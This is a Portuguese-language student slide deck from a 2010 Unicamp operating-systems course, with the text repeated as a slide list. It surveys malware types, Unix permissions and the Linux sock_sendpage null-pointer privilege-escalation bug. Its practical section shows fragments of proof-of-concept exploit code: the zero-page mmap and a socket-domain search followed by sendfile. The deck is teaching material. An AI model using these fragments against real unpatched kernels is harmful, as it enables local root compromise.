Ataques e Vulnerabilidades Prof. Islene Calciolari Garcia 1° semestre de 2010 MC 514 Sistemas Operacionais: Teoria e Prática
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
O que são vírus Princípios básicos Modus Operandi Vírus de disco Vírus de arquivo Vírus Mult-partite Autodefesa Introdução Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Ataques e vulnerabilidades Conceito Origens de vulnerabilidades Motivos dos ataques Tipos de ataques Acesso físico Intercepção de comunicações Recusas de serviço Intrusões Engenharia Social Alçapões Introdução Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Índice Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Spywares Adwares Ransomwares Worms Trojans Hijackers Keylogger Rootkits Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Recolhem informações e transmite informação. Não costumam se alto duplicar.  Muitos vírus transportam spywares visando roubar certos dados confidenciais. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Spywares
Costuma-se incluir os adwares no estudo dos spywares Trazem para a tela do usuário algum tipo de propaganda. Vem embutidos em diversos programas de download livre. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Adwares
Criptografam todo ou parte do conteúdo do disco rígido.  Exigem da vítima, um pagamento pelo "resgate" dos dados. São ferramentas para crimes de extorsão e são extremamente ilegais. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Ransomwares
Programa auto-replicante. Usa a rede para enviar cópias de si mesmo para outros, sem nenhuma intervenção do usuário. Não é necessário anexá-lo em programas existentes. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Worms
Pretende se passar por ser aplicação benigna. Faz algo que o usuário não espera. Trojans não se replicam. Atacam de forma direta. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Trojans
Sequestram navegadores de Internet.  Altera a página inicial do browser, exibe propagandas, instala barras de ferramentas no navegador. Impede acesso a determinados sites. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Hijackers
Ficam escondidos no sistema operacional. Desenvolvidos para meios ilícitos, como, por exemplo, roubo de dados pessoais. Capturam as teclas e podem também capturar a tela. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Keyloggers
Escondem processos, arquivos ou dados do sistema do Sistema Operacional. Ajudam intrusos a manter acesso ao sistema enquanto evita a detecção. Existem rootkits para vários Sistemas Operacionais. Freqüentemente modificam partes do Sistema Operacional ou instalam-se em drivers ou módulos do Kernel. Formas de Ataque Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Rootkits
Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Formas de ataque Índice Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Devido ao grande número de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o conhecimento, estas são descritas a seguir. Aprofundamento Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
O que são? Qual sua intenção? Diferenças na infecção Windows Linux/UNIX As três gerações Aprofundamento Rootkits Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
O que são? Para que são projetados? Formas de infecção Programa de instalação sobreposto Download guiado Adicionador de melhorias do broswer Mascarado como um anti-spyware Aprofundamento Spyware Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Sistema de permissões Dificuldades oferecidas pelo GNU/Linux Diferença DOS/Windows vs. Linux Chamadas de sistema em segurança Execução em sistemas específicos Defesa Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
O arquivo ao ser criado recebe uma permissão determinada pelo processo que o gerou. Essa permissão pode ser de três tipos, r, w e x, respectivamente, leitura, escrita e execução. As permissões são atribuídas ao usuário, seu grupo e outros usuários, desse modo 9 bits são suficientes para representação do direito de acesso. Alguns exemplos são mostrados a seguir: Defesa Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Sistemas de permissões Valor Binário Transcrição Significado 111000000 rwx – – – – – – Dono pode ler, escrever e executar 111111000 rwxrwx– – – Dono e Grupo podem ler, escrever e executar 110100000 rw–r– – – – – Dono pode ler e escrever, grupo poder ler 110100100 rw–r– –r– – Dono pode ler e escrever, outros poder ler 111101101 rwxr–xr–x Dono pode fazer tudo, outros ler e executar 000000000 – – – – – – – – – Ninguém possui nenhum tipo de acesso 000000111 – – – – – – rwx Somente pessoas de fora possuem acesso
As principais chamadas de sistemas utilizadas e suas características são apresentadas a seguir: chmod (path, mode) É a mais utilizada, ela serve para modificar o modo de proteção. Por exemplo: s = chmod("usr/ast/newgame", 0755); seta newgame para rwxr–xr–x, assim todos podem executa-lo, vale notar q o valor 0755 é um número em octal, que é conveniente pois os bits de proteção vem em grupos de 3.  Somente o dono do arquivo e a root podem trocar esses bits de proteção. Defesa Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Chamadas de sistemas
access(path, mode) Esse system call é necessário para evitar brechas de segurança, em programas que possuem o SETUID setados e cujos donos são a root. Esses programas podem executar qualquer ação, por isso, às vezes é necessário checar se o usuário está permitido a realizar o acesso. Para isso o a chamada de sistema access verifica o UID e o GID real do usuário. Defesa Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Chamadas de sistemas
getuid( ) Retorna o valor real do UID do usuário. geteuid( ) Retorna o valor efetivo do UID do usuário. getgid( ) Retorna o valor real do GID do usuário. getegid( ) Retorna o valor efetivo do GID do usuário. Defesa Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Chamadas de sistemas
chown(path, owner, group) Só pode ser utilizado pela root, muda o UID e o GID do arquivo.  setuid(uid) Só pode ser utilizado pela root, muda o UID de um processo. setgid(gid) Só pode ser utilzado pela root, muda o GID de um processo. Defesa Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 Chamadas de sistemas
Introdução Formas de ataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Acesso a privilégios locais Distribuições vulneráveis: Kernel 2.4 (2.4.4 até 2.4.37.4, inclusive); Kernel 2.6 (2.6.0 até 2.6.30.4, inclusive); Todas as arquiteturas desde maio/2001 Prática A vulnerabilidade Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Estrutura  proto_ops  do socket: Ponteiros para funções; Problema: lidar com operações indisponíveis; Exemplo: sock_sendpage Fragilidade no código do kernel Prática A vulnerabilidade Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Escalação de privilégio local: Mapeamento no endereço zero; Acionamento de operação vulnerável; Total controle do sistema! Prática Como aproveitar Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Corrigir os protocolos? Corrigir  sock_sendpage Verifica ponteiros nulos Patch disponibilizado em agosto/2009 8 anos depois... Prática A solução Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Prática A solução Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 static ssize_t  sock_sendpage (struct file *file, struct page *page,  int offset,   size_t size, loff_t *ppos, int more) {         struct socket *sock; (...)         return sock->ops->sendpage(sock, page, offset, size, flags); } int  kernel_sendpage (struct socket *sock, struct page *page, int offset, size_t size, int flags) {         if (sock->ops->sendpage)                 return sock->ops->sendpage(sock, page, offset, size, flags);         return sock_no_sendpage(sock, page, offset, size, flags); }
Teste no kernel antigo; Fedora 11 (kernel 2.6.29.4) Teste no kernel com patch; Ubuntu 9.10 Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,    MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,    MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);   Kernel   corrigido if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); return 1; } } fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");   Kernel antigo
Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514 char template[] = &quot;/tmp/sendfile.XXXXXX&quot;; int in, out; if ((in = mkstemp(template)) < 0) { fprintf(stdout, &quot;failed to open input descriptor, %m\n&quot;); return 1; } unlink(template); d = 0; for (; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; }  if (out < 0) { fprintf(stdout, &quot;unable to find a vulnerable domain, sorry\n&quot;); return 1; } ftruncate(in, getpagesize()); sendfile(out, in, NULL, getpagesize());
Teste no kernel antigo; Fedora 11 (kernel 2.6.29.4) Teste no kernel com patch; Ubuntu 9.10 Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Teste no kernel antigo; Fedora 11 (kernel 2.6.29.4) Teste no kernel com patch; Ubuntu 9.10 Prática Simulação Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
? Dúvidas Universidade Estadual de Campinas  -  Instituto de Computação  -  MC 514
Obrigados João Carlos Maggiotto  R.A.: 081721 Mariana Mendes Caspirro  R.A.: 082204 Murilo Fossa Vicentini  R.A.: 082335 Patricia Kawaguchi Cesar  R.A.: 085984 Ataques e Vulnerabilidades

Slides ataques e vulnerabilidades

  • 1.
    Ataques e VulnerabilidadesProf. Islene Calciolari Garcia 1° semestre de 2010 MC 514 Sistemas Operacionais: Teoria e Prática
  • 2.
    Introdução Formas deataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 3.
    Introdução Formas deataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 4.
    O que sãovírus Princípios básicos Modus Operandi Vírus de disco Vírus de arquivo Vírus Mult-partite Autodefesa Introdução Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 5.
    Ataques e vulnerabilidadesConceito Origens de vulnerabilidades Motivos dos ataques Tipos de ataques Acesso físico Intercepção de comunicações Recusas de serviço Intrusões Engenharia Social Alçapões Introdução Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 6.
    Formas de ataqueAprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Introdução Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 7.
    Spywares Adwares RansomwaresWorms Trojans Hijackers Keylogger Rootkits Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 8.
    Recolhem informações etransmite informação. Não costumam se alto duplicar. Muitos vírus transportam spywares visando roubar certos dados confidenciais. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Spywares
  • 9.
    Costuma-se incluir osadwares no estudo dos spywares Trazem para a tela do usuário algum tipo de propaganda. Vem embutidos em diversos programas de download livre. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Adwares
  • 10.
    Criptografam todo ouparte do conteúdo do disco rígido. Exigem da vítima, um pagamento pelo &quot;resgate&quot; dos dados. São ferramentas para crimes de extorsão e são extremamente ilegais. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Ransomwares
  • 11.
    Programa auto-replicante. Usaa rede para enviar cópias de si mesmo para outros, sem nenhuma intervenção do usuário. Não é necessário anexá-lo em programas existentes. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Worms
  • 12.
    Pretende se passarpor ser aplicação benigna. Faz algo que o usuário não espera. Trojans não se replicam. Atacam de forma direta. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Trojans
  • 13.
    Sequestram navegadores deInternet. Altera a página inicial do browser, exibe propagandas, instala barras de ferramentas no navegador. Impede acesso a determinados sites. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Hijackers
  • 14.
    Ficam escondidos nosistema operacional. Desenvolvidos para meios ilícitos, como, por exemplo, roubo de dados pessoais. Capturam as teclas e podem também capturar a tela. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Keyloggers
  • 15.
    Escondem processos, arquivosou dados do sistema do Sistema Operacional. Ajudam intrusos a manter acesso ao sistema enquanto evita a detecção. Existem rootkits para vários Sistemas Operacionais. Freqüentemente modificam partes do Sistema Operacional ou instalam-se em drivers ou módulos do Kernel. Formas de Ataque Universidade Estadual de Campinas - Instituto de Computação - MC 514 Rootkits
  • 16.
    Aprofundamento SO: Defesae Proteção Prática: O Bug de 8 Anos Introdução Formas de ataque Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 17.
    Devido ao grandenúmero de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o conhecimento, estas são descritas a seguir. Aprofundamento Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 18.
    O que são?Qual sua intenção? Diferenças na infecção Windows Linux/UNIX As três gerações Aprofundamento Rootkits Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 19.
    O que são?Para que são projetados? Formas de infecção Programa de instalação sobreposto Download guiado Adicionador de melhorias do broswer Mascarado como um anti-spyware Aprofundamento Spyware Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 20.
    Introdução Formas deataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 21.
    Sistema de permissõesDificuldades oferecidas pelo GNU/Linux Diferença DOS/Windows vs. Linux Chamadas de sistema em segurança Execução em sistemas específicos Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 22.
    O arquivo aoser criado recebe uma permissão determinada pelo processo que o gerou. Essa permissão pode ser de três tipos, r, w e x, respectivamente, leitura, escrita e execução. As permissões são atribuídas ao usuário, seu grupo e outros usuários, desse modo 9 bits são suficientes para representação do direito de acesso. Alguns exemplos são mostrados a seguir: Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Sistemas de permissões Valor Binário Transcrição Significado 111000000 rwx – – – – – – Dono pode ler, escrever e executar 111111000 rwxrwx– – – Dono e Grupo podem ler, escrever e executar 110100000 rw–r– – – – – Dono pode ler e escrever, grupo poder ler 110100100 rw–r– –r– – Dono pode ler e escrever, outros poder ler 111101101 rwxr–xr–x Dono pode fazer tudo, outros ler e executar 000000000 – – – – – – – – – Ninguém possui nenhum tipo de acesso 000000111 – – – – – – rwx Somente pessoas de fora possuem acesso
  • 23.
    As principais chamadasde sistemas utilizadas e suas características são apresentadas a seguir: chmod (path, mode) É a mais utilizada, ela serve para modificar o modo de proteção. Por exemplo: s = chmod(&quot;usr/ast/newgame&quot;, 0755); seta newgame para rwxr–xr–x, assim todos podem executa-lo, vale notar q o valor 0755 é um número em octal, que é conveniente pois os bits de proteção vem em grupos de 3. Somente o dono do arquivo e a root podem trocar esses bits de proteção. Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  • 24.
    access(path, mode) Essesystem call é necessário para evitar brechas de segurança, em programas que possuem o SETUID setados e cujos donos são a root. Esses programas podem executar qualquer ação, por isso, às vezes é necessário checar se o usuário está permitido a realizar o acesso. Para isso o a chamada de sistema access verifica o UID e o GID real do usuário. Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  • 25.
    getuid( ) Retornao valor real do UID do usuário. geteuid( ) Retorna o valor efetivo do UID do usuário. getgid( ) Retorna o valor real do GID do usuário. getegid( ) Retorna o valor efetivo do GID do usuário. Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  • 26.
    chown(path, owner, group)Só pode ser utilizado pela root, muda o UID e o GID do arquivo. setuid(uid) Só pode ser utilizado pela root, muda o UID de um processo. setgid(gid) Só pode ser utilzado pela root, muda o GID de um processo. Defesa Universidade Estadual de Campinas - Instituto de Computação - MC 514 Chamadas de sistemas
  • 27.
    Introdução Formas deataque Aprofundamento SO: Defesa e Proteção Prática: O Bug de 8 Anos Índice Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 28.
    Acesso a privilégioslocais Distribuições vulneráveis: Kernel 2.4 (2.4.4 até 2.4.37.4, inclusive); Kernel 2.6 (2.6.0 até 2.6.30.4, inclusive); Todas as arquiteturas desde maio/2001 Prática A vulnerabilidade Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 29.
    Estrutura proto_ops do socket: Ponteiros para funções; Problema: lidar com operações indisponíveis; Exemplo: sock_sendpage Fragilidade no código do kernel Prática A vulnerabilidade Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 30.
    Escalação de privilégiolocal: Mapeamento no endereço zero; Acionamento de operação vulnerável; Total controle do sistema! Prática Como aproveitar Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 31.
    Corrigir os protocolos?Corrigir sock_sendpage Verifica ponteiros nulos Patch disponibilizado em agosto/2009 8 anos depois... Prática A solução Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 32.
    Prática A soluçãoUniversidade Estadual de Campinas - Instituto de Computação - MC 514 static ssize_t sock_sendpage (struct file *file, struct page *page,  int offset, size_t size, loff_t *ppos, int more) {         struct socket *sock; (...)         return sock->ops->sendpage(sock, page, offset, size, flags); } int kernel_sendpage (struct socket *sock, struct page *page, int offset, size_t size, int flags) {         if (sock->ops->sendpage)                 return sock->ops->sendpage(sock, page, offset, size, flags);         return sock_no_sendpage(sock, page, offset, size, flags); }
  • 33.
    Teste no kernelantigo; Fedora 11 (kernel 2.6.29.4) Teste no kernel com patch; Ubuntu 9.10 Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 34.
    Prática Simulação UniversidadeEstadual de Campinas - Instituto de Computação - MC 514 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); Kernel corrigido if (mem != NULL) { fprintf(stdout, &quot;UNABLE TO MAP ZERO PAGE!\n&quot;); return 1; } } fprintf(stdout, &quot; [+] MAPPED ZERO PAGE!\n&quot;); Kernel antigo
  • 35.
    Prática Simulação UniversidadeEstadual de Campinas - Instituto de Computação - MC 514 char template[] = &quot;/tmp/sendfile.XXXXXX&quot;; int in, out; if ((in = mkstemp(template)) < 0) { fprintf(stdout, &quot;failed to open input descriptor, %m\n&quot;); return 1; } unlink(template); d = 0; for (; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; } if (out < 0) { fprintf(stdout, &quot;unable to find a vulnerable domain, sorry\n&quot;); return 1; } ftruncate(in, getpagesize()); sendfile(out, in, NULL, getpagesize());
  • 36.
    Teste no kernelantigo; Fedora 11 (kernel 2.6.29.4) Teste no kernel com patch; Ubuntu 9.10 Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 37.
    Teste no kernelantigo; Fedora 11 (kernel 2.6.29.4) Teste no kernel com patch; Ubuntu 9.10 Prática Simulação Universidade Estadual de Campinas - Instituto de Computação - MC 514
  • 38.
    ? Dúvidas UniversidadeEstadual de Campinas - Instituto de Computação - MC 514
  • 39.
    Obrigados João CarlosMaggiotto R.A.: 081721 Mariana Mendes Caspirro R.A.: 082204 Murilo Fossa Vicentini R.A.: 082335 Patricia Kawaguchi Cesar R.A.: 085984 Ataques e Vulnerabilidades